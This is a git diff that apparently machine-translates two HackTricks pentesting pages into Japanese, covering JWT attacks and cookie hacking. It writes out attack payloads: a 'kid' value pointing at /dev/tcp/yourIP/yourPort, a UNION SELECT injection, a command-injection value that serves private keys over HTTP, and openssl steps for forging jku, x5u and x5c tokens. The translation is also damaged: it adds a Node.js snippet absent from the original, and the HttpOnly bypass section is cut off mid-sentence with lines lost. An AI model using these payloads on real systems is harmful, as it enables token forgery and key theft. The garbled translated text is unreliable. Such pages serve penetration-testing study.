-S flag alongside the -u_ [_http://example.com_](http://example.com) _argument to generate a new key pair, inject your provided URL, generate a JWKS containing the Public Key, and sign the token with the Private Key_ +### Kidの問題 -### Kid issues +`kid`はオプションのヘッダークレームであり、複数のキーでトークンに署名する必要があり、正しいキーを検証するために参照する必要がある場合に特に有用です。 -`kid` is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature. +#### "kid"の問題 - キーの公開 -#### "kid" issues - reveal key +ヘッダーで「kid」クレームが使用されている場合、そのファイルまたはそのバリエーションをウェブディレクトリで確認してください。たとえば、`"kid":"key/12345"`の場合、ウェブルートで _/key/12345_ と _/key/12345.pem_ を探してください。 -If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root. - -#### "kid" issues - path traversal - -If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...\ -_Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_ +#### "kid"の問題 - パストラバーサル +ヘッダーで「kid」クレームが使用されている場合、ファイルシステムで別のファイルを使用できるかどうかを確認してください。予測可能な内容のファイルを選択するか、または `"kid":"/dev/tcp/yourIP/yourPort"` を使用して接続性をテストするか、さらにはいくつかの **SSRF** ペイロードを試してみてください...\ +jwt_toolの-Tフラグを使用してJWTを改ざんし、kidクレームの値を変更し、元の署名を保持するように選択します。 ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` +ホスト内の既知のコンテンツを使用して、有効なJWTを偽造することもできます。たとえば、Linuxシステムでは、ファイル `/proc/sys/kernel/randomize_va_space` の値が **2** に設定されています。したがって、その **パス** を「**kid**」パラメータに入れ、JWTを生成するための **対称パスワード** として「**2**」を使用すると、有効な新しいJWTを生成できるはずです。 -Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT. +#### "kid"の問題 - SQLインジェクション -#### "kid" issues - SQL Injection +「kid」の内容がデータベースからパスワードを取得するために使用されるシナリオでは、次のように「kid」パラメータ内のペイロードを変更できます:`non-existent-index' UNION SELECT 'ATTACKER';-- -` そして、秘密鍵 `ATTACKER` でJWTに署名します。 -In a scenario wehre the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent-index' UNION SELECT 'ATTACKER';-- -` and then sign the JWT with the secret key `ATTACKER`. +#### "kid"の問題 - OSインジェクション -#### "kid" issues - OS Injection +「kid」パラメータには、キーが含まれるファイルへのパスが含まれており、このパスが**実行されるコマンドの内部で使用されている**シナリオでは、次のようなペイロードを使用してRCEを取得し、秘密鍵を公開できる可能性があります:`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` -In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` +### その他の攻撃 -### Miscellaneous attacks +以下は、テストする必要がある既知の脆弱性です。 -The following are known weaknesses that should be tested for. +**クロスサービスリレーアタック** -**Cross-service relay attacks** +一部のWebアプリケーションでは、信頼されたJWT「サービス」を使用してトークンを生成および管理しています。過去には、JWTサービスのクライアントの1つのために生成されたトークンが、JWTサービスの別のクライアントによって受け入れられる場合がありました。\ +JWTがサードパーティサービスを介して発行または更新される場合、同じユーザー名/メールアドレスでそのサービスの別のクライアントにアカウントを作成できるかどうかを特定する価値があります。そのトークンを取得し、ターゲットにリクエストで再生してみてください。受け入れられますか? -Some web applications use a trusted JWT ‘service’ to generate and manage tokens for them. In the past some instances have occurred where a token generated for one of the JWT services’ clients can actually be accepted by another of the JWT services’ clients.\ -If you observe the JWT being issued or renewed via a third-party service then it is worth identifying if you can sign up for an account on another of that service’s clients with your same username/email. If so try taking that token and replaying it in a request to your target. Is it accepted? +* トークンが受け入れられる場合、任意のユーザーアカウントを偽装することができる重大な問題があるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合は、法的なグレーゾーンに入る可能性があるため、より広範なテスト権限の許可を求める必要があることに注意してください。 -* If your token is accepted then you may have a critical issue allowing you to spoof any user’s account. HOWEVER, be aware that if you are signing up on a third party application you may need to seek permission for wider testing permissions in case it enters a legal grey-area! +**expがチェックされていますか?** -**Is exp checked?** +「exp」ペイロードクレームは、トークンの有効期限をチェックするために使用されます。JWTはしばしばセッション情報の欠如時に使用されるため、注意して取り扱う必要があります。他の人のJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。\ +JWTリプレイ攻撃に対する1つの緩和策(JWT RFCで推奨されている)は、「exp」クレームを使用してトークンの有効期限を設定することです。また、アプリケーションに関連するチェックを設定して、この値が処理され、トークンが期限切れの場合は拒否されるようにすることも重要です。トークンに「exp」クレームが含まれていて、テスト時間制限が許可する場合は、トークンを保存して有効期限が過ぎた後に再生してみてください。_jwt\_toolの -R フラグを使用してトークンの内容を読み取り、タイムスタンプの解析と有効期限のチェック(UTCのタイムスタンプ)を行います_ -The “exp” Payload claim is used to check the expiry of a token. As JWTs are often used in the absence of session information, so they do need to be handled with care - in many cases capturing and replaying someone else’s JWT will allow you to masquerade as that user.\ -One mitigation against JWT replay attacks (that is advised by the JWT RFC) is to use the “exp” claim to set an expiry time for the token. It is also important to set the relevant checks in place in the application to make sure this value is processed and the token rejected where it is expired. If the token contains an “exp” claim and test time limits permit it - try storing the token and replaying it after the expiry time has passed. _Use jwt\_tool's -R flag to read the content of the token, which includes timestamp parsing and expiry checking (timestamp in UTC)_ +* トークンがアプリケーションでまだ検証される場合、これはトークンが**決して期限切れにならない**セキュリティリスクがある可能性があります。 -* If the token still validates in the application then this may be a security risk as the token may NEVER expire. - -### x5u and jku +### x5uとjku #### jku -jku stands for **JWK Set URL**.\ -If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. - -First you need to create a new certificate with new private & public keys +jkuは**JWK Set URL**の略です。\ +トークンが「**jku**」**ヘッダー**クレームを使用している場合は、提供されたURLを確認してください。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが格納されているURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更してみてください。 +まず、新しい証明書と新しい秘密鍵と公開鍵を作成する必要があります。 ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` +次に、[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメーターjkuを作成された証明書に指定して新しいJWTを作成**することができます。有効なjku証明書を作成するために、元の証明書をダウンロードして必要なパラメーターを変更することができます。 -Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **created public and private keys and pointing the parameter jku to the certificate created.** In order to create a valid jku certificate you can download the original one anche change the needed parameters. - -You can obtain the parametes "e" and "n" from a public certificate using: - +公開証明書からパラメーター「e」と「n」を取得するには、次のようにします: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") @@ -171,47 +160,41 @@ fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` - #### x5u -X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates. +X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書は前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するためには、トランスポートセキュリティが必要です。 -Try to **change this header to an URL under your control** and check if any request is received. In that case you **could tamper the JWT**. - -To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys: +このヘッダを**あなたが制御するURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざんすることができます**。 +あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` - -Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **created public and private keys and pointing the parameter x5u to the certificate .crt created.** +次に、例えば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成する**ことができます。 ![](<../.gitbook/assets/image (439).png>) -You can also abuse both of these vulns **for SSRFs**. +また、これらの脆弱性を**SSRFに悪用する**こともできます。 #### x5c -This parameter may contain the **certificate in base64**: +このパラメータには、**ベース64でエンコードされた証明書**が含まれている場合があります。 ![](<../.gitbook/assets/image (440).png>) -If the attacker **generates a self-signed certificate** and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server. - +攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新たに生成された証明書に置き換え、他のパラメータ(n、e、x5t)を変更すると、サーバーは基本的に偽造トークンを受け入れるでしょう。 ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` +### 埋め込まれた公開鍵(CVE-2018-0114) -### Embedded Public Key (CVE-2018-0114) - -If the JWT has embedded a public key like in the following scenario: +もしJWTに以下のシナリオのように公開鍵が埋め込まれている場合: ![](<../.gitbook/assets/image (438).png>) -Using the following nodejs script it's possible to generate a public key from that data: - +次のNode.jsスクリプトを使用することで、そのデータから公開鍵を生成することが可能です: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -221,17 +204,29 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` - -It's possible to generate a new private/public key, embeded the new public key inside the token and use it to generate a new signature: - +新しい秘密鍵/公開鍵を生成し、その新しい公開鍵をトークン内に埋め込み、新しい署名を生成することが可能です。 ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` +以下のNode.jsスクリプトを使用して、"n"と"e"を取得することができます。 -You can obtain the "n" and "e" using this nodejs script: +```javascript +const jwt = require('jsonwebtoken'); +const token = 'your_jwt_token_here'; + +const decodedToken = jwt.decode(token, { complete: true }); + +const n = decodedToken.header.n; +const e = decodedToken.header.e; + +console.log('n:', n); +console.log('e:', e); +``` + +このスクリプトを使用すると、指定したJWTトークンのヘッダーから"n"と"e"を取得できます。 ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -241,24 +236,23 @@ const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` +最後に、公開鍵と秘密鍵、および新しい「n」と「e」の値を使用して、[jwt.io](https://jwt.io)を使用して任意の情報を持つ新しい有効なJWTを作成できます。 -Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. +### JTI(JWT ID) -### JTI (JWT ID) +JTI(JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これを使用して、トークンのリプレイを防ぐことができます。\ +ただし、IDの最大長が4(0001-9999)であると想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストを再生**することができます(成功した再生ごとに10000リクエストを送信する必要があります)。 -The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can beused to prevent the token from being replayed.\ -However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay). - -### JWT Registered claims +### JWT登録済みクレーム {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} -### Tools +### ツール {% embed url="https://github.com/ticarpi/jwt_tool" %} \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -266,10 +260,10 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999) ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 1f15f2526..6b33cea22 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -1,126 +1,119 @@ -# Cookies Hacking +# クッキーのハッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## Cookies Attributes +## クッキーの属性 ### Expires & Max-Age -* `Expires` sets an expiry date for when a cookie gets deleted -* `Max-age` sets the time in seconds for when a cookie will be deleted **(use this, it’s no longer 2009)** +* `Expires`は、クッキーが削除される有効期限を設定します。 +* `Max-age`は、クッキーが削除されるまでの時間を秒単位で設定します(これを使用してください、もはや2009年ではありません)。 ### **Domain** -The `Domain` attribute specifies **which hosts can receive a cookie**. If unspecified, the attribute **defaults** to the **same host** that set the cookie, _**excluding subdomains**_. **If `Domain` is** **specified**, then **subdomains are always included**. Therefore, specifying `Domain` is less restrictive than omitting it. However, it can be helpful when subdomains need to share information about a user. +`Domain`属性は、**どのホストがクッキーを受け取ることができるか**を指定します。指定されていない場合、属性はクッキーを設定した**同じホスト**に**デフォルトで設定**されますが、**サブドメインは除外されます**。**`Domain`が指定されている場合、常にサブドメインが含まれます**。したがって、`Domain`を指定する方が制限が少なくなります。ただし、サブドメインがユーザーに関する情報を共有する必要がある場合に役立ちます。 -For example, if you set `Domain=mozilla.org`, cookies are available on subdomains like `developer.mozilla.org`. But if you don't, the cookie won't be sent to subdomains. +たとえば、`Domain=mozilla.org`と設定した場合、クッキーは`developer.mozilla.org`などのサブドメインで利用できます。しかし、指定しない場合、クッキーはサブドメインに送信されません。 -If a **subdomain** `sub.example.com` **sets a cookie** with _domain_ attribute of **`.example.com`**, it will be **sent** on requests to the **parent domain.** +**サブドメイン** `sub.example.com` **が** _ドメイン_ **属性を持つクッキー**を設定した場合、**親ドメイン**へのリクエストでそれが**送信**されます。 ### **Path** -The `Path` attribute indicates a **URL path that must exist in the requested URL to send the `Cookie` header**. The `%x2F` ("/") character is considered a directory separator, and subdirectories match as well. +`Path`属性は、**要求されたURLに存在する必要があるURLパスを示します**。`%x2F`("/")文字はディレクトリセパレータと見なされ、サブディレクトリも一致します。 -#### Order +#### 順序 -When 2 cookies have the **same name** the one that is sent is: +同じ名前の2つのクッキーがある場合、送信されるのは次のものです。 -* The one with the **longest path** matching the URL path -* The **newest** one if both have the same path +* URLパスに一致する**最も長いパス**を持つもの +* 両方のパスが同じ場合は**最新**のもの ### SameSite -This will indicate to the browser if the **cookie** can be sent **from other domains**. It has 3 possible values: +これにより、ブラウザに**クッキーが他のドメインから送信できるかどうか**を示します。3つの可能な値があります。 -* **Strict**: The cookie will not be sent along with a request by third party websites. -* **Lax**: The cookie will be sent along with the GET request initiated by third party websites. -* **None**: The cookie is sent from any third party domain +* **Strict**:クッキーはサードパーティのウェブサイトによるリクエストと一緒に送信されません。 +* **Lax**:クッキーはサードパーティのウェブサイトによって開始されたGETリクエストと一緒に送信されます。 +* **None**:クッキーは任意のサードパーティドメインから送信されます。 -| **Request Type** | **Example Code** | **Cookies Sent When** | -| ---------------- | ---------------------------------- | --------------------- | -| Link | \\ | NotSet\*, Lax, None | -| Prerender | \ | NotSet\*, Lax, None | -| Form GET | \
| NotSet\*, Lax, None | -| Form POST | \ | NotSet\*, None | -| iframe | \ | NotSet\*, None | -| AJAX | $.get("...") | NotSet\*, None | -| Image | \ | NetSet\*, None | +| **リクエストタイプ** | **例のコード** | **クッキーが送信される場合** | +| ------------------- | ------------------------------------- | ---------------------------- | +| リンク | \\ | NotSet\*、Lax、None | +| プリレンダー | \ | NotSet\*、Lax、None | +| フォームGET | \ | NotSet\*、Lax、None | +| フォームPOST | \ | NotSet\*、None | +| iframe | \ | NotSet\*、None | +| AJAX | $.get("...") | NotSet\*、None | +| 画像 | \ | NetSet\*、None | -Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ -A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. +[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からの表を若干修正しました。\ +_SameSite_属性を持つクッキーは、ログインセッションが必要なCSRF攻撃を緩和します。 -**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.** +**\*注意:Chrome80(2019年2月)以降、SameSite属性のないクッキーのデフォルト動作はlaxになります**([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/))。\ +一時的に、この変更を適用した後、Chromeの**SameSiteポリシーのないクッキーは最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストではLaxとして扱われます。 -## Cookies Flags +## クッキーのフラグ ### HttpOnly -This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`) +これにより、**クライアント**がクッキーにアクセスできなくなります(たとえば、`document.cookie`を使用したJavaScriptなど)。 -#### **Bypasses** +#### **回避方法** -* If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/) -* This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. - * This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. -* Another way is the exploitation of zero/day vulnerabilities of the browsers. -* It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack: +* ページがリクエストの応答としてクッキーを送信している場合(たとえば、**PHPinfo**ページなど)、XSSを悪用してこのページにリクエストを送信し、応答からクッキーを**盗む**ことができます([https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/)で例を確認してください)。 +* この技術は、サーバーからの応答(このHTTPメソッドが利用可能な場合)である**TRACE** **HTTP**リクエストによってバイパスされる可能性があります。この技術は**クロスサイトトラッキング**と呼ばれます。 +* この技術は、**現代のブラウザではTRACEリクエストをJSから送信できない**ことによって回避されます。ただし、IE6.0 SP2に対して`TRACE`ではなく`\r\nTRACE`を送信するなど、特定のソフトウェアでこれをバイパスする方法が見つかっています。 +* 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。 +* クッキージャーオーバーフローアタックを +### セキュア -{% content-ref url="cookie-jar-overflow.md" %} -[cookie-jar-overflow.md](cookie-jar-overflow.md) -{% endcontent-ref %} +リクエストは、リクエストがセキュアなチャネル(通常はHTTPS)を介して送信される場合にのみ、クッキーをHTTPリクエストで送信します。 -* It's possible to use [**Cookie Smuggling**](./#cookie-smuggling) attack to exfiltrate these cookies +## クッキーの接頭辞 -### Secure +**`__Secure-` 接頭辞**:セキュアなページ(HTTPS)から `secure` フラグとともに設定する必要があります。 -The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**). +**`__Host-` 接頭辞**:セキュアなページ(HTTPS)から `secure` フラグとともに設定する必要があり、ドメインが指定されていない(したがって、サブドメインには送信されない)必要があり、パスは `/` である必要があります。 -## Cookies Prefixes +`__Host-` 接頭辞のクッキーは、スーパードメイン(サブドメインからドメインへのクッキー)またはサブドメイン(ドメインからサブドメインへのクッキー)に送信することはできないため、アプリケーションのクッキーを分離したい場合は、すべてを `__Host-` で接頭辞を付けることは悪い考えではありません。 -**`__Secure-` prefix**: must be set with the `secure` flag from a secure page (HTTPS). +## クッキー攻撃 -**`__Host-` prefix**: must be set with the `secure` flag, must be from a secure page (HTTPS), must not have a domain specified (and therefore, are not sent to subdomains), and the path must be `/`. +もし、セッションID、ユーザー名、メールアドレスなどの機密データを含むカスタムクッキーを見つけた場合、それを悪用することを試みるべきです。 -`__Host-` prefixed cookies cannot be sent to superdomains (cookies from subdomains to domains) or subdomains (cookies from domains to subdomains), so, if you want to isolate your application cookies, prefixing everything with `__Host-` is not a bad idea. +### クッキーのデコード -## Cookies Attacks +もし、**クッキー**がベースエンコーディング(Base64など)を使用している場合、それを**デコード**し、**内容**を**変更**し、任意のユーザーを**なりすます**ことができるかもしれません。 -If you find some kind of custom cookie containing sensitive data (sessionID, username, emails, etc.) you should definitely try to exploit it +### セッションハイジャック -### Decoding the cookie +クッキーを盗み、それを使用してアプリケーション内のユーザーをなりすます。 -If the **cookie** is using some **Base encoding** (like Base64) or similar you may be able to **decode it**, **change** the **content** and **impersonate** arbitrary users. +### セッションフィクセーション -### Session Hijacking +攻撃者は、ウェブページからクッキーを取得し、被害者に対して同じクッキーを使用して**ログイン**するようにリンクを送信します。ユーザーがログインするときにクッキーが変更されない場合、これは有用です。攻撃者はクッキーを介してユーザーをなりすますことができる可能性があります。 -Steal a cookie and use it to impersonate the user inside an application - -### Session fixation - -The attacker gets a cookie from a web page and sends a link to the victim to **login using the very same cookie**. If the cookie is not changed when a user logs in, this could be useful because the attacker could be able to impersonate the user through a cookie. - -If you found an **XSS in a subdomain** or you **control a subdomain**, read: +もし、サブドメインで **XSS** を見つけたり、サブドメインを **制御** している場合は、次を参照してください: {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) {% endcontent-ref %} -### Session donation +### セッション寄付 -The attacker sends his own session to the victim. The victim will see that he is already logged in and will suppose that he is inside his account but **the actions will be performed inside the attacker's account**. +攻撃者は自分のセッションを被害者に送信します。被害者は自分がすでにログインしていると見なし、自分のアカウント内にいると思うでしょうが、**アクションは攻撃者のアカウント内で実行されます**。 -If you found an **XSS in a subdomain** or you **control a subdomain**, read: +もし、サブドメインで **XSS** を見つけたり、サブドメインを **制御** している場合は、次を参照してください: {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) @@ -128,46 +121,37 @@ If you found an **XSS in a subdomain** or you **control a subdomain**, read: ### [JWT Cookie](../hacking-jwt-json-web-tokens.md) -Click on the previous link to access a page explaining possible flaws in JWT. +前のリンクをクリックして、JWTの可能な欠陥について説明したページにアクセスしてください。 -### Empty Cookie - -Browsers allow a cookie with an empty name +### 空のクッキー +ブラウザは、名前が空のクッキーを許可します。 ```js document.cookie = "a=v1" document.cookie = "=test value;" // empty name document.cookie = "b=v2" ``` - -This results in the sent cookie header: - +これにより、送信されるCookieヘッダーは次のようになります: ``` a=v1; test value; b=v2; ``` - -More interestingly, if you have a vector that somehow lets you **set the empty cookie**, you can **control any other cookie**: - +より興味深いことに、もし何らかの方法で**空のクッキーを設定する**ことができるベクトルを持っている場合、**他のどのクッキーでも制御する**ことができます。 ```js function setCookie(name, value) { - document.cookie = `${name}=${value}`; +document.cookie = `${name}=${value}`; } setCookie("", "a=b"); // this sets the empty cookie to a=b ``` - -Although internally in the browser, this is set as the empty named cookie, it will result in the **sent cookie header:** - +ブラウザ内部では名前のない空のクッキーとして設定されていますが、これにより**送信されるクッキーヘッダー**が生成されます: ``` a=b; ``` +意味するところは、すべてのWebサーバーは、cookie `a`が値`b`に設定されたものとして解析します。 -Meaning, every webserver will parse it as the cookie `a` being set to the value `b`. - -### Chrome Bug - document.cookie corruption - -If a unicode surrogate codepoint is in a set cookie, `document.cookie` will be permanently corrupted and return an empty string. +### Chromeのバグ - document.cookieの破損 +セットされたクッキーにUnicodeサロゲートコードポイントが含まれている場合、`document.cookie`は永久に破損し、空の文字列を返します。 ```js document.cookie // "a=b;" @@ -175,73 +159,63 @@ document.cookie = "\ud800=meep"; document.cookie // "" ``` +### クッキーのスマグリング -### Cookie 